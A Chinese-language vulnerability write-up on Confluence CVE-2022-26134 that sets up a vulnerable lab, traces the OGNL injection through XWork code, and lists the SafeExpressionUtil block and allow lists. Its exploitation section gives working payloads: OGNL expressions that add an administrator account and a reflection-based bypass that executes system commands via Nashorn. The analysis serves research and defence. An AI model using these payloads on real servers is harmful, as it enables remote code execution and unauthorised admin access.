Learning Man's Blog

Confluence CVE-2022-26134 解析

字数统计: 1.9k阅读时长: 10 min
2022/06/08

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。

环境准备

  1. docker-compose

     version: '2'
     services:
       web:
         image: atlassian/confluence-server:7.18.0-jdk11
         ports:
           - "8090:8090"
           - "5005:5005"
         depends_on:
           - db
       db:
         image: postgres:12.8-alpine
         environment: 
         - POSTGRES_PASSWORD=postgres
         - POSTGRES_DB=confluence
  2. 进入实例查找setenv.sh,在CATALINA_OPTS添加 debug 信息并重启

     CATALINA_OPTS="${CATALINA_OPTS} -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005"
    
     export CATALINA_OPTS
  3. 在 IDEA 添加Remote JVM Debug,同时将confluence/lib添加到 Library 中即可

前置内容

XWork

在 Apache 上关于 XWork 的介绍

XWork 2 is a generic command pattern framework. It forms the core of Struts 2. It features:

  • Flexible and customizable configuration based on a simple Configuration interface, allowing you to use XML , programmatic, or even product-integrated configuration
  • Core command pattern framework which can be customized and extended through the use of interceptors to fit any request / response environment
  • Built in type conversion and action property validation using OGNL
  • Powerful validation framework based on runtime attributes and a validation interceptor

实际上 Confluence 里还使用的 XWork 1 修改版,具体区别我们不用考虑,更多是了解到很多 OGNL 注入源于这个框架,例如struts2 中的黑名单

其架构大致如下,贴在这里方便后续理解

分析

通过Confluence Security Advisory 2022-06-02公告主要更新了xwork-1.0.3-atlassian-10.jar

其与前一个版本主要的修改com.opensymphony.xwork.ActionChainResult#execute

很直观是OGNL注入,如果分析过s2-057,那基本就不需要后续这段分析了

ActionXXX

经过 Tomcat Filter 后由 ConfluenceServletDispatcher 处理,其继承自 ServletDispatcher

再此创建一个ActionProxy开始处理内容

public void serviceAction(HttpServletRequest request, HttpServletResponse response, String namespace, String actionName, Map requestMap, Map parameterMap, Map sessionMap, Map applicationMap) {
        Map extraContext = createContextMap(requestMap, parameterMap, sessionMap, applicationMap, request, response, this.getServletConfig());
        extraContext.put("com.opensymphony.xwork.dispatcher.ServletDispatcher", this);

        try {
            ActionProxy proxy = ActionProxyFactory.getFactory().createActionProxy(namespace, actionName, extraContext);
            request.setAttribute("webwork.valueStack", proxy.getInvocation().getStack());
            proxy.execute();
            ...

创建Proxy时有个小细节,com.opensymphony.xwork.DefaultActionProxyFactory#createActionProxy会赋值executeResult=true

public ActionProxy createActionProxy(String namespace, String actionName, Map extraContext) throws Exception {
    return new DefaultActionProxy(namespace, actionName, extraContext, true);
}

代理处理上下文时实际通过Interceptor.intercept进行处理,大部分Interceptor都是通用形式处理部分内容并不产生结果,同时回调invoke交付给下一个处理,最终由某个Interceptor产生结果并反映到ActionContext最终返回

public String invoke() throws Exception {
    if (this.executed) {
        throw new IllegalStateException("Action has already executed");
    } else {
        if (this.interceptors.hasNext()) {
            Interceptor interceptor = (Interceptor)this.interceptors.next();
            this.resultCode = interceptor.intercept(this);
        } else if (this.proxy.getConfig().getMethodName() == null) {
            this.resultCode = this.getAction().execute();
        } else {
            this.resultCode = this.invokeAction(this.getAction(), this.proxy.getConfig());
        }

        if (!this.executed) {
            if (this.preResultListeners != null) {
                Iterator iterator = this.preResultListeners.iterator();

                while(iterator.hasNext()) {
                    PreResultListener listener = (PreResultListener)iterator.next();
                    listener.beforeResult(this, this.resultCode);
                }
            }

            if (this.proxy.getExecuteResult()) {
                this.executeResult();
            }

            this.executed = true;
        }

        return this.resultCode;
    }
}

不同版本Interceptors会有差异,无关紧要,这里关注到ConfluenceAccessInterceptor

com.atlassian.confluence.security.interceptors.ConfluenceAccessInterceptor中,其intercept首先判断容器是否正常启动且当前用户是否有权限访问相关action,当某一个失败时便返回notpermitted脱离轮训并尝试立即处理

public class ConfluenceAccessInterceptor extends AbstractAwareInterceptor {
    private final Supplier<ActionAccessChecker> actionAccessChecker = new LazyComponentReference("actionAccessChecker");

    public ConfluenceAccessInterceptor() {
    }

    public String intercept(ActionInvocation actionInvocation) throws Exception {
        return ContainerManager.isContainerSetup() && !this.isAccessPermitted(actionInvocation) ? "notpermitted" : actionInvocation.invoke();
    }

    private boolean isAccessPermitted(ActionInvocation actionInvocation) {
        return ((ActionAccessChecker)this.actionAccessChecker.get()).isAccessPermitted(actionInvocation.getAction(), actionInvocation.getProxy().getConfig().getMethodName());
    }
}

因为在此之前ActionProxy设置有executeResult=true,于是进入
com.opensymphony.xwork.DefaultActionInvocation#executeResult并一路到达com.opensymphony.xwork.ActionChainResult#execute

finalNamespace & finalActionName

为什么利用点是finalNamespace而不能是finalActionName

因为在创建ActionProxy时需要根据namespace、action来获取config,在namespace为payload无法有效获取时,会获取默认配置列表,又由于此时action为自动填充的index所以会返回相关配置信息

若无有效config配置信息,程序会报错返回,因此限定了利用点为finalNamespace

利用

对于低版本cf可以复用之前的OGNL注入payload,但v7.15开始加入了SafeExpressionUtil来过滤危险OGNL执行

public Object findValue(String expr) {
    try {
        if (expr == null) {
            return null;
        } else if (!this.safeExpressionUtil.isSafeExpression(expr)) {
            return null;
        } else {
            if (this.overrides != null && this.overrides.containsKey(expr)) {
                expr = (String)this.overrides.get(expr);
            }

            return this.defaultType != null ? this.findValue(expr, this.defaultType) : Ognl.getValue(OgnlUtil.compile(expr), this.context, this.root);
        }

com.opensymphony.xwork.util.SafeExpressionUtil定义有不安全的Property、Package、Method,以及安全的Class

private final Set<String> unsafePropertyNames = this.getUnsafePropertyNames();
private final Set<String> unsafePackageNames = this.getUnsafePackageNames();
private final Set<String> unsafeMethodNames = this.getUnsafeMethodNames();
private final Set<String> allowedClassNames = this.getAllowedClassNames();

并最终落实在com.opensymphony.xwork.util.SafeExpressionUtil#isSafeExpressionInternal执行判断逻辑

并对表达式的各个节点执行检查

Object parsedExpression = OgnlUtil.compile(expression);
    if (parsedExpression instanceof Node) {
        if (this.containsUnsafeExpression((Node)parsedExpression, visitedExpressions)) {
            ...
private boolean containsUnsafeExpression(Node node, Set<String> visitedExpressions) {
    String nodeClassName = node.getClass().getName();
    if (UNSAFE_NODE_TYPES.contains(nodeClassName)) {
        return true;
    } else if ("ognl.ASTStaticMethod".equals(nodeClassName) && !this.allowedClassNames.contains(getClassNameFromStaticMethod(node))) {
        return true;
    } else if ("ognl.ASTProperty".equals(nodeClassName) && this.isUnSafeClass(node.toString())) {
        return true;
    } else if ("ognl.ASTMethod".equals(nodeClassName) && this.unsafeMethodNames.contains(getMethodInOgnlExp(node))) {
        return true;
    } else if ("ognl.ASTVarRef".equals(nodeClassName) && UNSAFE_VARIABLE_NAMES.contains(node.toString())) {
        return true;
    } else if ("ognl.ASTConst".equals(nodeClassName) && !this.isSafeConstantExpressionNode(node, visitedExpressions)) {
        return true;
    } else {
        for(int i = 0; i < node.jjtGetNumChildren(); ++i) {
            Node childNode = node.jjtGetChild(i);
            if (childNode != null && this.containsUnsafeExpression(childNode, visitedExpressions)) {
                return true;
            }
        }

        return false;
    }
}

对此有两种常用的绕过

  1. allowClass 找新 gadget
  2. 反射

allowClass

一眼看过去com.atlassian.confluence.util.GeneralUtil是最直接的,其提供了很多入口以及工具

  1. 添加用户

    bucket.user.DefaultUserAccessor#addUser(java.lang.String, java.lang.String, java.lang.String, java.lang.String)

    对应

     ${@com.atlassian.confluence.util.GeneralUtil@getUserAccessor().addUser("sari3l","123456","[email protected]","Sari3l")}
  2. 添加用户同时设置用户组

    bucket.user.DefaultUserAccessor#addUser(java.lang.String, java.lang.String, java.lang.String, java.lang.String, java.lang.String[])

    对应

     ${@com.atlassian.confluence.util.GeneralUtil@getUserAccessor().addUser("sari3l","123456","[email protected]","Sari3l", @com.atlassian.confluence.util.GeneralUtil@splitCommaDelimitedString("confluence-administrators,confluence-users"))}

反射

反射绕过是从很早struts2就开始利用的操作,对于黑白名单绕过非常有效

${Class.forName("com.opensymphony.webwork.ServletActionContext").getMethod("getResponse",null).invoke(null,null).setHeader("X-Cmd-Response",Class.forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("nashorn").eval("eval(String.fromCharCode(填充))"))}

推荐:http://xssor.io/ 使用 -10EN 编码

var r='';var p = java.lang.Runtime.getRuntime().exec('id').getInputStream();while (1) {var b = p.read();if (b == -1) {break;}r=r+String.fromCharCode(b)};r

例如

${Class.forName("com.opensymphony.webwork.ServletActionContext").getMethod("getResponse",null).invoke(null,null).setHeader("X-Cmd-Response",Class.forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("nashorn").eval("eval(String.fromCharCode(118,97,114,32,114,61,39,39,59,118,97,114,32,112,32,61,32,106,97,118,97,46,108,97,110,103,46,82,117,110,116,105,109,101,46,103,101,116,82,117,110,116,105,109,101,40,41,46,101,120,101,99,40,39,105,100,39,41,46,103,101,116,73,110,112,117,116,83,116,114,101,97,109,40,41,59,119,104,105,108,101,32,40,49,41,32,123,118,97,114,32,98,32,61,32,112,46,114,101,97,100,40,41,59,105,102,32,40,98,32,61,61,32,45,49,41,32,123,98,114,101,97,107,59,125,114,61,114,43,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,98,41,125,59,114))"))}

黑白名单

Key Set
unsafePropertyNames
  • sun.misc.Unsafe
  • classLoader
  • java.lang.System
  • java.lang.ThreadGroup
  • com.opensymphony.xwork.ActionContext java.lang.Compiler
  • com.atlassian.applinks.api.ApplicationLinkRequestFactory
  • java.lang.Thread
  • com.atlassian.core.util.ClassLoaderUtils
  • java.lang.ProcessBuilder
  • java.lang.InheritableThreadLocal
  • com.atlassian.core.util.ClassHelper
  • class
  • java.lang.Shutdown
  • java.lang.ThreadLocal
  • java.lang.Process
  • java.lang.Package
  • org.apache.tomcat.InstanceManager
  • java.lang.Runtime
  • javax.script.ScriptEngineManager
  • javax.persistence.EntityManager
  • org.springframework.context.ApplicationContext
  • java.lang.SecurityManager
  • java.lang.Object
  • java.lang.Class
  • java.lang.RuntimePermission
  • javax.servlet.ServletContext
  • java.lang.ClassLoader
  • unsafePackageNames
  • java.rmi
  • sun.management
  • org.apache.catalina.session
  • java.jms
  • com.atlassian.confluence.util.io
  • com.google.common.reflect
  • javax.sql
  • java.nio
  • com.atlassian.sal.api.net
  • sun.invoke
  • java.util.zip
  • liquibase
  • com.hazelcast
  • org.apache.commons.httpclient
  • com.atlassian.util.concurrent
  • java.net
  • freemarker.ext.jsp
  • com.sun.jna
  • net.java.ao
  • javax
  • sun.corba
  • org.springframework.util.concurrent
  • com.sun.jmx
  • sun.misc
  • javassist
  • ognl
  • org.apache.commons.exec
  • com.atlassian.cache
  • org.wildfly.extension.undertow.deployment java.lang.reflect
  • io.atlassian.util.concurrent
  • java.util.concurrent
  • com.atlassian.confluence.util.http
  • sun.tracing
  • org.objectweb.asm
  • freemarker.template
  • net.sf.hibernate
  • freemarker.core
  • net.bytebuddy
  • org.apache.tomcat
  • freemarker.ext.rhino
  • com.atlassian.media
  • org.springframework.context
  • org.apache.velocity
  • javax.xml
  • java.sql
  • sun.reflect
  • sun.net
  • javax.persistence
  • org.javassist
  • javax.naming
  • org.apache.httpcomponents.httpclient
  • com.atlassian.hibernate
  • sun.nio
  • com.atlassian.confluence.impl.util.sandbox
  • com.google.common.net
  • com.atlassian.filestore
  • org.apache.commons.io
  • com.atlassian.vcache
  • jdk.nashorn
  • sun.launcher
  • oshi
  • org.apache.bcel
  • sun.rmi
  • sun.tools.jar
  • org.springframework.expression.spel
  • com.opensymphony.xwork.util
  • org.ow2.asm
  • com.atlassian.confluence.setup.bandana
  • org.quartz
  • net.sf.cglib
  • com.atlassian.activeobjects
  • com.atlassian.utils.process
  • sun.security
  • com.atlassian.quartz
  • javax.management
  • sun.awt.shell
  • com.google.common.cache
  • org.apache.http.client
  • java.io
  • com.atlassian.confluence.util.sandbox
  • java.util.jar
  • com.atlassian.scheduler
  • sun.print
  • com.atlassian.failurecache
  • com.google.common.io
  • org.apache.catalina.core
  • org.ehcache
  • unsafeMethodNames
  • getClass
  • getClassLoader
  • allowedClassNames
  • net.sf.hibernate.proxy.HibernateProxy
  • java.lang.reflect.Proxy
  • net.java.ao.EntityProxyAccessor
  • net.java.ao.RawEntity
  • net.sf.cglib.proxy.Factory
  • java.io.ObjectInputValidation
  • net.java.ao.Entity
  • com.atlassian.confluence.util.GeneralUtil
  • java.io.Serializable
  • 参考资料

    1. Active Exploitation of Confluence CVE-2022-26134
    CATALOG
    1. 1. 环境准备
    2. 2. 前置内容
      1. 2.1. XWork
    3. 3. 分析
      1. 3.1. ActionXXX
      2. 3.2. finalNamespace & finalActionName
    4. 4. 利用
      1. 4.1. allowClass
      2. 4.2. 反射
    5. 5. 黑白名单
    6. 6. 参考资料